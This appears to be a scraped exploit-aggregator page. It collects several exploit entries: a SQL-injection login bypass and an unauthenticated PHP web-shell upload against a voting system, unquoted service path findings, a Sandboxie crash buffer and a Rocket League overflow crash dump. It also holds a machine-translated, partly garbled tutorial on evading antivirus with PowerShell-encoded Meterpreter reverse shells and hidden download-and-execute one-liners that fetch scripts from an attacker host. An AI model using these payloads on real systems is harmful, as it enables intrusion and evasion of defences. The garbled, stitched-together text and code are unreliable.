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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WifiHotSpot 1.0.0.0 - 'WifiHotSpotService.exe' Unquoted Service Path
# Discovery by: Erick Galindo 
# Discovery Date: 2020-05-06
# Vendor Homepage: https://www.gearboxcomputers.com/downloads/wifihotspot.exe
# Tested Version: 1.0.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro  x64 es
# Step to discover Unquoted Service Path:
 
c:\wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
MainService     WifiHotSpotSvc      C:\Program Files (x86)\WifiHotSpot\WifiHotSpotService.exe                          Auto

# Service info
sc qc wifihotspotsvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: wifihotspotsvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\WifiHotSpot\WifiHotSpotService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : MainService
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem 
 
#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.
HireHackking 
# Exploit Title: Sandboxie 5.49.7 - Denial of Service (PoC)
# Date: 06/05/2021
# Author: Erick Galindo 
# Vendor Homepage: https://sandboxie-plus.com/
# Software https://github.com/sandboxie-plus/Sandboxie/releases/download/0.7.4/Sandboxie-Classic-x64-v5.49.7.exe
# Version: 5.49.7
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Sandboxie Control->Sandbox->Set Container Folder
#3.- Paste the buffer in the input then press ok

buffer = "\x41" * 5000

f = open ("Sandboxie10.txt", "w")
f.write(buffer)
f.close()
HireHackking 
# Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI)
# Date: 06/05/2021
# Exploit Author: secure77
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB

You can simply bypass the /admin/login.php with the following sql injection.
All you need is a bcrypt hash that is equal with your random password, the username should NOT match with an existing



########################### Vulnerable code ############################
if(isset($_POST['login'])){
	$username = $_POST['username'];
	$password = $_POST['password'];

	$sql = "SELECT * FROM admin WHERE username = '$username'";
	$query = $conn->query($sql);

	if($query->num_rows < 1){
		$_SESSION['error'] = 'Cannot find account with the username';
	}
	else{
		$row = $query->fetch_assoc();
		echo "DB Password: " . $row['password'];
		echo "<br>";
		echo "<br>";
		echo "Input Password: " . $password;
		if(password_verify($password, $row['password'])){
			echo "Equal";
			$_SESSION['admin'] = $row['id'];
		}
		else{
			echo "not Equal";
			$_SESSION['error'] = 'Incorrect password';
		}
	}
	
}
else{
	$_SESSION['error'] = 'Input admin credentials first';
}

########################### Payload ############################
POST /admin/login.php HTTP/1.1
Host: 192.168.1.1
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=tliephrsj1d5ljhbvsbccnqmff
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 167

login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -
HireHackking

強力で組み込みのWindows PowerShellは、浸透プロセス中に侵入をより興味深いものにします。セキュリティソフトウェアの対立と殺害は、PowerShellのすべての行動を徐々にターゲットにし始めました。

https://technet.microsoft.comで、ドキュメントは次のとおりです。

Windows PowerShellは.NETフレームワークテクノロジーに基づいており、既存のWSHとの逆方向の互換性を持つため、スクリプトプログラムは.NET CLRにアクセスするだけでなく、既存のCOMテクノロジーを使用できます。また、データベースやWMIへのログインなど、マネージャーの処理を改善するためのシンプルで一貫した構文、いくつかのシステム管理ツールも含まれています。 Exchange Server 2007やSystem Center Operations Manager 2007などのサーバーソフトウェアには、Windows PowerShellが組み込まれています。

Theavailable Startupparameters:の等式

-CommandSpecifififififiedtoexecuteSteastedthoweretypedatthepowershellcommandprompt。

-EncodedCommandSpecifeSheBase64-EncodedCommandTextToExecute。

-executionpolicysetsthededefaultexecutionpolicyfortheconsolessession。

-FILESESTSTHENAMEOFASCRIPTFILETOEXECUTE。

-inputFormatsTheFormATASENTTOPOPOWERSHELLASETEXTEXTSTRINGSTRINGORIALIZEXML.THEDEFAULTFORTISXML.VALIDVALUESARETEXTANDXML。

-noexitdoesnotexitafterrunning startup commands.thisparametersuseful yourunpowershell commandsorscriptssviathecommandprompt（cmd.exe）。

-nologostartSthepowerShellコンソールは、Thecopyrightbannerを表示せずに。

-noninteractivestartSthePowerShell consoleinnon-interactivemode.inthismode、powershellはinteractiveprompttotheuserを紹介しません。

-noprofiletellSthepowerShell consolenottoloadthecurrentuser’sprofile。

-OutputFormatsTheForMatForOutPutaseTheTextStringStringorializedXml.thedefaultFormatistext.ValidValuesAretExtandxml。

-PSCONSOLEFILEOADSTHESPECIFIEDWINDOWSSHELLCONSOLEFILE.CONSOLEFILESENDWITHTHE.PSC1EXTENSIONANDCANTONSURETHATSNAP-specificSnap-nap-nap-nap-nap-nap-inxtensionsionsionsionsionsionsionsionsionsionadavaible.youcancreateaoconsoleusinginging export-consoleinwindowsowershell。

-stastAstArtSpowerShellinsingle-threadedMode。

-versionsetsthionsofwindowspowershelltouseforcompatibility、sotas1.0。

-windowstyleSetsethewindowStyleasNormal、最小化、最大化、または非表示。

その機能については、ローカルテスト：Add-Type-AssemblynamePresentationFramework; [System.Windows.MessageBox] :Show（ 'Micropoor'）

wsgrfo50b2t9071.jpg

上記のように、PowerShellの行動や特性のいくつかは、ますます多くのアンチソフトウェアに直面し始めます。 MSFVENOMを例にとって、ペイロードを生成します

pzzylpvhihd9072.jpg

Micropoor.ps1は残念ながら殺されました

ea0n2o3yrpn9073.jpg

PowerShell機能のペイロードを変更します

ra0belyvxv39074.jpg

次に考慮すべきことは、上記の繰り返しの作業を自動化に変え、PowerShellとダウンロードストリングの特性に2つのペイロードフォームを設計する方法です。（1）ターゲットマシンがネットワークを出る（2）ターゲットマシンはネットワークを出ないで、ニーズに応じてメタプロイトをシームレスに接続します。 Microsoft Documentationによると、上記に役立つ可能性のあるプロパティ、つまり、WindowStylenoExitededCommandexec Automationの実装は次のとおりです。

＃base64.rbをmetasploit-framework/embedded/framework/modules/encoders/powershellにコピーします。

＃例えば

＃MSFエンコーダー（PowerShell/base64）Exploit/Multi/Handlerを使用します

＃MSF Exploit（Multi/Handler）Payload Windows/X64/MeterPreter/Reverse_TCPを設定します

＃ペイロード=windows/x64/meterpreter/reverse_tcp

＃MSF Exploit（Multi/Handler）Exploit

＃msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。

＃[*] xx.1xx.xx.xx:xxでリバースTCPハンドラーを開始しました

クラスMetasploitModule MSF:3360ENCODER

rank=normorranking

def initialize

素晴らしい（

'name'='powershell base64エンコーダー'、

'説明'=％q {

msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。

}、

「著者」='マイクロプロア'、

'arch'=arch_cmd、

「プラットフォーム」='win'）

Register_options（[

optbool.new（ 'payload'、[false、 'payload'、false]）、

optbool.new（ 'x64'、[false、 'syswow64 powershell'、false]））

]））

終わり

def encode_block（state、buf）

base64=rex:text.encode_base64（rex:3360text.to_unicode（buf）））

cmd=''

DataStore ['x64']の場合

cmd +='c: \ windows \ syswow64 \ windowspowershell \ v1.0 \ powershell.exe'

それ以外

cmd +='powershell.exe'

終わり

DataStore ['Payload']の場合

cmd +='-windowsstyle hidden -exec bypass -noexit'

終わり

cmd +='-EncodedCommand＃{base64}'

終わり

終わり

＃Caidaoを使用する場合

＃ECHO POWERSHELL -WINDOWSSTYLE HIDDEN -EXEC BYPASS -C \ '' IEX（new -Object.WebClient）.DownLoadString（ 'http://192.168.1.117/XXX.PS1'）; \ '' '| MSFVENOM -E X64/XOR4 -CHOR4 -CHRACH4 -CHRACH4 -ARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -CHARK4 -ARK4 -CHARK4 -PLATOFFIN

＃xxx.ps1はmsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -Platform Windows。

PowerShell_base64.rbファイルを/usr/share/metasploit-framework/embedded/framework/modules/encoders/powershellディレクトリにコピーします。 PowerShellが空の場合は、新しいPowerShellディレクトリパラメーターを作成してください。ペイロードMetasploitペイロードを使用してPowerShellキーワードを削除するかどうかを選択します。例1（ネットワーク外のターゲット、ダウンロードと実行）：Echo PowerShell -WindowsStyle Hidden -C \ '' IEX（new -Object.WebClient）.DownLoadString（ 'http://192.168.1.117/MICROPOOR.PS1'）; Windows

p5z5lyymfjq9075.jpg

例2（ターゲットはネットワークを離れず、ローカルで実行します）

msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=192.168.1.117 lport=8080 -f psh -reflection -arch x64 -platform windows | MSFVENOM -E POWERSHELL/BASE64 -ARCH X64 -PLATFORM WindowsPayLoad

注：ペイロードパラメーターを追加します

vrd43yyjp5q9076.jpg

より興味深い実験：例1のダウンコンテンツを例2に変更し、ペイロードパラメーターを削除します。ペイロードサイズを減らすため。 Invoke-mimikatz.ps1などを変更する

pwq0flfe5ks9077.jpg

from:https://technet.microsoft.com/en-us/library/ff629472.aspx

https://github.com/danielbohannon/invoke-obfuscation

https://Micropoor.blogspot.com/2018/04/powershell.html

HireHackking

Voting System 1.0 - Remote Code Execution (Unauthenticated)

HACKER · %s · %s

# Exploit Title: Voting System 1.0 - Remote Code Execution (Unauthenticated) # Date: 07/05/2021 # Exploit Author: secure77 # Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html # Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB Unauthenticated file upload is possible via /admin/candidates_add.php that can use for RCE. Your upload will be stored at /images/ and is also accessible without authentication. ########################### Vulnerable code ############################ <?php include 'includes/session.php'; if(isset($_POST['add'])){ $firstname = $_POST['firstname']; $lastname = $_POST['lastname']; $position = $_POST['position']; $platform = $_POST['platform']; $filename = $_FILES['photo']['name']; if(!empty($filename)){ move_uploaded_file($_FILES['photo']['tmp_name'], '../images/'.$filename); } $sql = "INSERT INTO candidates (position_id, firstname, lastname, photo, platform) VALUES ('$position', '$firstname', '$lastname', '$filename', '$platform')"; if($conn->query($sql)){ $_SESSION['success'] = 'Candidate added successfully'; } else{ $_SESSION['error'] = $conn->error; } } else{ $_SESSION['error'] = 'Fill up add form first'; } header('location: candidates.php'); ?> ########################### Payload ############################ POST /admin/candidates_add.php HTTP/1.1 Host: 192.168.1.1 Content-Length: 275 Cache-Control: max-age=0 Origin: http://192.168.1.1 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrmynB2CmGO6vwFpO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.1/admin/candidates.php Accept-Encoding: gzip, deflate Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close ------WebKitFormBoundaryrmynB2CmGO6vwFpO Content-Disposition: form-data; name="photo"; filename="shell.php" Content-Type: application/octet-stream <?php echo exec("whoami"); ?> ------WebKitFormBoundaryrmynB2CmGO6vwFpO Content-Disposition: form-data; name="add"
HireHackking

DHCP Broadband 4.1.0.1503 - 'dhcpt.exe' Unquoted Service Path

HACKER · %s · %s

# Exploit Title: DHCP Broadband 4.1.0.1503 - 'dhcpt.exe' Unquoted Service Path # Discovery by: Erick Galindo # Discovery Date: 2020-05-07 # Vendor Homepage: https://www.weird-solutions.com # Software : https://www.weird-solutions.com/download/products/dhcpbbv4_retail_x64.exe # Tested Version: 4.1.0.1503 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 es # Step to discover Unquoted Service Path: C:\> wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "DHCP" DHCP Broadband 4 DHCP Broadband 4 C:\Program Files\DHCP Broadband 4\dhcpt.exe Auto # Service info C:\>sc qc "DHCP Broadband 4" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: DHCP Broadband 4 TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\DHCP Broadband 4\dhcpt.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : DHCP Broadband 4 DEPENDENCIAS : Nsi : Afd : NetBT : Tcpip NOMBRE_INICIO_SERVICIO: LocalSystem #Exploit: This vulnerability could permit executing code during startup or reboot with the escalated privileges.
HireHackking

Epic Games Rocket League 1.95 - Stack Buffer Overrun

HACKER · %s · %s

# Exploit Title: Epic Games Rocket League 1.95 - Stack Buffer Overrun # Date: 25.04.2021 # Exploit Author: LiquidWorm # Vendor Homepage: https://www.epicgames.com https://www.rocketleague.com Epic Games Rocket League 1.95 (AK::MemoryMgr::GetPoolName) Stack Buffer Overrun Vendor: Epic Games Inc. | Psyonix, LLC Product web page: https://www.epicgames.com https://www.psyonix.com https://www.rocketleague.com Affected version: <=1.95 Summary: Rocket League is a high-powered hybrid of arcade-style soccer and vehicular mayhem with easy-to-understand controls and fluid, physics-driven competition. Desc: The game suffers from a stack-based buffer overflow vulnerability. The issue is caused due to a boundary error in the processing of a UPK format file, which can be exploited to cause a stack buffer overflow when a user crafts the file with a large array of bytes inserted in the vicinity offset after the magic header. Successful exploitation could allow execution of arbitrary code on the affected machine. Tested on: Microsoft Windows 10 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5651 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5651.php 25.04.2021 -- Craft location: ..\rocketleague\TAGame\CookedPCConsole Header: C1 83 2A 9E 64 03 1F 00 hat_Headphones_SF.upk: ---------------------- ... ... ModLoad: 00007ff9`99ff0000 00007ff9`9a016000 C:\WINDOWS\system32\ncryptsslp.dll ModLoad: 00007ff9`32d70000 00007ff9`36a00000 C:\WINDOWS\System32\DriverStore\FileRepository\igdlh64.inf_amd64_e9f7884f9b4f82b9\igd9dxva64.dll ModLoad: 00007ff9`315b0000 00007ff9`32d68000 C:\WINDOWS\System32\DriverStore\FileRepository\nvlti.inf_amd64_d79c53dfaa1cbce3\nvd3dumx.dll ModLoad: 00000000`00400000 00000000`0041e000 E:\Epic Games\rocketleague\Binaries\Win64\XINPUT1_3.dll ModLoad: 00007ff9`8dac0000 00007ff9`8db6c000 C:\WINDOWS\SYSTEM32\TextShaping.dll [0110.33] Log: Timed out while waiting for GPU to catch up. (500 ms) (62c.1074): Unknown exception - code 00000001 (!!! second chance !!!) KERNELBASE!RaiseException+0x69: 00007ff9`a0364b59 0f1f440000 nop dword ptr [rax+rax] 0:024> r rax=00007ff99feeb925 rbx=0000000000000000 rcx=0000000000000000 rdx=000000214edfe8b0 rsi=000000214edfef50 rdi=000000214edfe700 rip=00007ff9a0364b59 rsp=000000214edfef30 rbp=0000000000000000 r8=000000214edfedb0 r9=0000000000000000 r10=00000000000000c0 r11=000000214edfee2e r12=0000000000000000 r13=00007ff776205bb0 r14=00007ff776dab710 r15=000000214edff8a0 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000204 KERNELBASE!RaiseException+0x69: 00007ff9`a0364b59 0f1f440000 nop dword ptr [rax+rax] 0:024> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** ERROR: Symbol file could not be found. Defaulted to export symbols for E:\Epic Games\rocketleague\Binaries\Win64\EOSSDK-Win64-Shipping.dll - *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\System32\DriverStore\FileRepository\nvlti.inf_amd64_d79c53dfaa1cbce3\nvwgf2umx.dll - *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Epic Games\Launcher\Portal\Extras\Overlay\EOSOVH-Win64-Shipping.dll - GetUrlPageData2 (WinHttp) failed: 12002. DUMP_CLASS: 2 DUMP_QUALIFIER: 0 FAULTING_IP: KERNELBASE!RaiseException+69 00007ffe`d4d64b59 0f1f440000 nop dword ptr [rax+rax] EXCEPTION_RECORD: (.exr -1) ExceptionAddress: 00007ffed4d64b59 (KERNELBASE!RaiseException+0x0000000000000069) ExceptionCode: 00000001 ExceptionFlags: 00000000 NumberParameters: 0 FAULTING_THREAD: 00000490 DEFAULT_BUCKET_ID: APPLICATION_FAULT PROCESS_NAME: RocketLeague.exe ERROR_CODE: (NTSTATUS) 0x1 - STATUS_WAIT_1 EXCEPTION_CODE: (Win32) 0x1 (1) - Incorrect function. EXCEPTION_CODE_STR: 1 WATSON_BKT_PROCSTAMP: 606f6afa WATSON_BKT_PROCVER: 1.0.10897.0 PROCESS_VER_PRODUCT: Rocket League WATSON_BKT_MODULE: KERNELBASE.dll WATSON_BKT_MODSTAMP: 2f2f77bf WATSON_BKT_MODOFFSET: 34b59 WATSON_BKT_MODVER: 10.0.19041.906 MODULE_VER_PRODUCT: Microsoft® Windows® Operating System BUILD_VERSION_STRING: 10.0.19041.928 (WinBuild.160101.0800) MODLIST_WITH_TSCHKSUM_HASH: ac197712fdc57f2bb67f9b17107e5701c93b4362 MODLIST_SHA1_HASH: 342698e051c108fd7be71346f5d34f8a14c38381 NTGLOBALFLAG: 0 PROCESS_BAM_CURRENT_THROTTLED: 0 PROCESS_BAM_PREVIOUS_THROTTLED: 0 APPLICATION_VERIFIER_FLAGS: 0 PRODUCT_TYPE: 1 SUITE_MASK: 784 DUMP_TYPE: fe ANALYSIS_SESSION_HOST: LAB17 ANALYSIS_SESSION_TIME: 04-25-2021 13:23:34.0003 ANALYSIS_VERSION: 10.0.16299.91 amd64fre THREAD_ATTRIBUTES: OS_LOCALE: ENU PROBLEM_CLASSES: ID: [0n308] Type: [APPLICATION_FAULT] Class: Primary Scope: DEFAULT_BUCKET_ID (Failure Bucket ID prefix) BUCKET_ID Name: Add Data: Omit PID: [Unspecified] TID: [Unspecified] Frame: [0] BUGCHECK_STR: APPLICATION_FAULT PRIMARY_PROBLEM_CLASS: APPLICATION_FAULT LAST_CONTROL_TRANSFER: from 00007ff78f1cbf65 to 00007ffed4d64b59 STACK_TEXT: 00000089`23dfe910 00007ff7`8f1cbf65 : 00007ff7`9123b710 00000000`000002f8 00007ff7`906e5190 00000089`23dfea20 : KERNELBASE!RaiseException+0x69 00000089`23dfe9f0 00007ff7`8f190215 : 00000089`23dff710 00000089`23dff5d0 00000089`23dff710 00007ffe`d72ee25f : RocketLeague!GetOutermost+0x29245 00000089`23dff250 00007ff7`8f123466 : 00000089`23dff710 00007ff7`906eb668 00000199`6cf33e40 00000089`23dfe828 : RocketLeague!AK::MusicEngine::Term+0xfce95 00000089`23dff4d0 00007ff7`8f1297f9 : 0000019a`00000001 00000000`00000000 00000089`23dff770 00000199`00000001 : RocketLeague!AK::MusicEngine::Term+0x900e6 00000089`23dff6d0 00007ff7`8f1d1e40 : 00000000`00000001 00000000`00000001 0000019a`00000000 00000199`6d26ffd0 : RocketLeague!AK::MusicEngine::Term+0x96479 00000089`23dff850 00007ffe`d6297034 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : RocketLeague!Scaleform::System::Init+0x11c0 00000089`23dff880 00007ffe`d7302651 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14 00000089`23dff8b0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21 THREAD_SHA1_HASH_MOD_FUNC: b03d2da27c20caaf2a76cdae45ff251160c76115 THREAD_SHA1_HASH_MOD_FUNC_OFFSET: ff5c11b082c48239ef2666814fc4e06663a8c892 THREAD_SHA1_HASH_MOD: 96a23e97d7538141fe1b904de60919531df8b505 FOLLOWUP_IP: RocketLeague!GetOutermost+29245 00007ff7`8f1cbf65 eb13 jmp RocketLeague!GetOutermost+0x2925a (00007ff7`8f1cbf7a) FAULT_INSTR_CODE: 8b4813eb SYMBOL_STACK_INDEX: 1 SYMBOL_NAME: rocketleague!GetOutermost+29245 FOLLOWUP_NAME: MachineOwner MODULE_NAME: RocketLeague IMAGE_NAME: RocketLeague.exe DEBUG_FLR_IMAGE_TIMESTAMP: 606f6afa STACK_COMMAND: ~24s ; .cxr ; kb FAILURE_BUCKET_ID: APPLICATION_FAULT_1_RocketLeague.exe!GetOutermost BUCKET_ID: APPLICATION_FAULT_rocketleague!GetOutermost+29245 FAILURE_EXCEPTION_CODE: 1 FAILURE_IMAGE_NAME: RocketLeague.exe BUCKET_ID_IMAGE_STR: RocketLeague.exe FAILURE_MODULE_NAME: RocketLeague BUCKET_ID_MODULE_STR: RocketLeague FAILURE_FUNCTION_NAME: GetOutermost BUCKET_ID_FUNCTION_STR: GetOutermost BUCKET_ID_OFFSET: 29245 BUCKET_ID_MODTIMEDATESTAMP: 606f6afa BUCKET_ID_MODCHECKSUM: 251425f BUCKET_ID_MODVER_STR: 1.0.10897.0 BUCKET_ID_PREFIX_STR: APPLICATION_FAULT_ FAILURE_PROBLEM_CLASS: APPLICATION_FAULT FAILURE_SYMBOL_NAME: RocketLeague.exe!GetOutermost WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/RocketLeague.exe/1.0.10897.0/606f6afa/KERNELBASE.dll/10.0.19041.906/2f2f77bf/1/00034b59.htm?Retriage=1 TARGET_TIME: 2021-04-25T11:23:44.000Z OSBUILD: 19042 OSSERVICEPACK: 928 SERVICEPACK_NUMBER: 0 OS_REVISION: 0 OSPLATFORM_TYPE: x64 OSNAME: Windows 10 OSEDITION: Windows 10 WinNt SingleUserTS Personal USER_LCID: 0 OSBUILD_TIMESTAMP: 2022-01-18 11:29:28 BUILDDATESTAMP_STR: 160101.0800 BUILDLAB_STR: WinBuild BUILDOSVER_STR: 10.0.19041.928 ANALYSIS_SESSION_ELAPSED_TIME: 795d ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:application_fault_1_rocketleague.exe!getoutermost FAILURE_ID_HASH: {ee1c73f7-ce6b-9e4a-8e1b-66937ecee43c} Followup: MachineOwner ... ... (aa0.3818): Unknown exception - code 00000001 (first chance) (aa0.3818): Unknown exception - code 00000001 (!!! second chance !!!) KERNELBASE!RaiseException+0x69: 00007ffe`d4d64b59 0f1f440000 nop dword ptr [rax+rax] 0:024> g [0188.65] Warning: Warning, Detected data corruption [header] trying to read 2549 bytes at offset 135132 from '..\..\TAGame\CookedPCConsole\hat_Headphones_SF.upk'. Please delete file and recook. [0188.65] Critical: appError called: I/O failure operating on '..\..\TAGame\CookedPCConsole\hat_Headphones_SF.upk' [0188.65] Critical: Windows GetLastError: The operation completed successfully. (0) [0188.65] Warning: Warning, Detected data corruption [undershoot] trying to read 2549 bytes at offset 135132 from '..\..\TAGame\CookedPCConsole\hat_Headphones_SF.upk'. Please delete file and recook. [0188.65] Critical: Error reentered: I/O failure operating on '..\..\TAGame\CookedPCConsole\hat_Headphones_SF.upk' [0188.65] Warning: Warning, Detected data corruption [incorrect uncompressed size] calculated 1094795585 bytes, requested 2549 bytes at offset 135132 from '..\..\TAGame\CookedPCConsole\hat_Headphones_SF.upk'. Please delete file and recook. [0188.65] Critical: Error reentered: I/O failure operating on '..\..\TAGame\CookedPCConsole\hat_Headphones_SF.upk' [0188.66] DevBeacon: FWebSocket::ReadCloseReason this=000002B686633200 received opcode CLOSE. Code=1000 Reason=IdleTimeout [0188.66] DevOnline: EOSSDK-LogEOS: Large tick time detected 22.5409 hat_peanut_SF.upk: ------------------ ... ... 0:077> g (3568.230c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. VCRUNTIME140!memcmp+0xee: 00007ffe`afc812de f3a4 rep movs byte ptr [rdi],byte ptr [rsi] 0:000> r rax=0000009852afeaf8 rbx=000001a1cc362268 rcx=ffffffff9c71eae4 rdx=0000010951ea4107 rsi=000001a1a49a4107 rdi=0000009852b00000 rip=00007ffeafc812de rsp=0000009852afe9c8 rbp=ffffffff9c71ffec r8=ffffffff9c71ffec r9=00000000000000ff r10=000001a1a49a2bff r11=0000009852afeaf8 r12=0000000000000000 r13=0000000000000000 r14=0000009852afeaf8 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 VCRUNTIME140!memcmp+0xee: 00007ffe`afc812de f3a4 rep movs byte ptr [rdi],byte ptr [rsi] 0:000> g (3568.230c): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!) Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE RocketLeague!AK::MemoryMgr::GetPoolName+0x84164: 00007ff6`4a660424 cd29 int 29h 0:000> .exr -1 ExceptionAddress: 00007ff64a660424 (RocketLeague!AK::MemoryMgr::GetPoolName+0x0000000000084164) ExceptionCode: c0000409 (Security check failure or stack buffer overrun) ExceptionFlags: 00000001 NumberParameters: 1 Parameter[0]: 0000000000000002 Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE 0:000> u 00007ff64a660424 RocketLeague!AK::MemoryMgr::GetPoolName+0x84164: 00007ff6`4a660424 cd29 int 29h 00007ff6`4a660426 488d0d3303f600 lea rcx,[RocketLeague!AK::IAkStreamMgr::m_pStreamMgr+0x1d678 (00007ff6`4b5c0760)] 00007ff6`4a66042d e8ca010000 call RocketLeague!AK::MemoryMgr::GetPoolName+0x8433c (00007ff6`4a6605fc) 00007ff6`4a660432 488b442438 mov rax,qword ptr [rsp+38h] 00007ff6`4a660437 4889051a04f600 mov qword ptr [RocketLeague!AK::IAkStreamMgr::m_pStreamMgr+0x1d770 (00007ff6`4b5c0858)],rax 00007ff6`4a66043e 488d442438 lea rax,[rsp+38h] 00007ff6`4a660443 4883c008 add rax,8 00007ff6`4a660447 488905aa03f600 mov qword ptr [RocketLeague!AK::IAkStreamMgr::m_pStreamMgr+0x1d710 (00007ff6`4b5c07f8)],rax 0:000> kb 10 # RetAddr : Args to Child : Call Site 00 00007ff6`4a65fdcf : efaf2d5d`3bda668e 00000000`00000000 00000098`52afe090 00000098`52afe080 : RocketLeague!AK::MemoryMgr::GetPoolName+0x84164 01 00007ffe`d735207f : 00007ff6`4a65fdbc 00000000`00000000 00000000`00000000 00000000`00000000 : RocketLeague!AK::MemoryMgr::GetPoolName+0x83b0f 02 00007ffe`d7301454 : 00000000`00000000 00000098`52afe070 00000098`52afe730 00000000`00000000 : ntdll!RtlpExecuteHandlerForException+0xf 03 00007ffe`d7350bae : 3f400000`3f000000 3f800000`3f800000 000001a1`cc362268 44160000`44bb8000 : ntdll!RtlDispatchException+0x244 04 00007ffe`afc812de : 00000000`00000000 000001a1`cc3560c0 00007ff6`4948a38b 000001a1`cc362268 : ntdll!KiUserExceptionDispatch+0x2e 05 00007ff6`4948a38b : 000001a1`cc362268 00000098`52afea40 00000098`52afea40 000001a1`cc362268 : VCRUNTIME140!memcpy_repmovs+0xe [d:\agent\_work\1\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 114] 06 00007ff6`494fe648 : 000001a1`cc362268 00000098`52afead8 00002215`1710d82a 00007ff6`00000003 : RocketLeague!AK::MusicEngine::Term+0x9700b 07 00007ff6`494e3e65 : 000001a1`cc362080 00000098`52afead8 00000000`00000000 00000000`00000001 : RocketLeague!AK::MusicEngine::Term+0x10b2c8 08 fab8446d`6e5edd60 : efaf2dc5`69758c3e fab8446d`6e5edd60 efaf2dc5`69758c3e fab8446d`6e5edd60 : RocketLeague!AK::MusicEngine::Term+0xf0ae5 09 efaf2dc5`69758c3e : fab8446d`6e5edd60 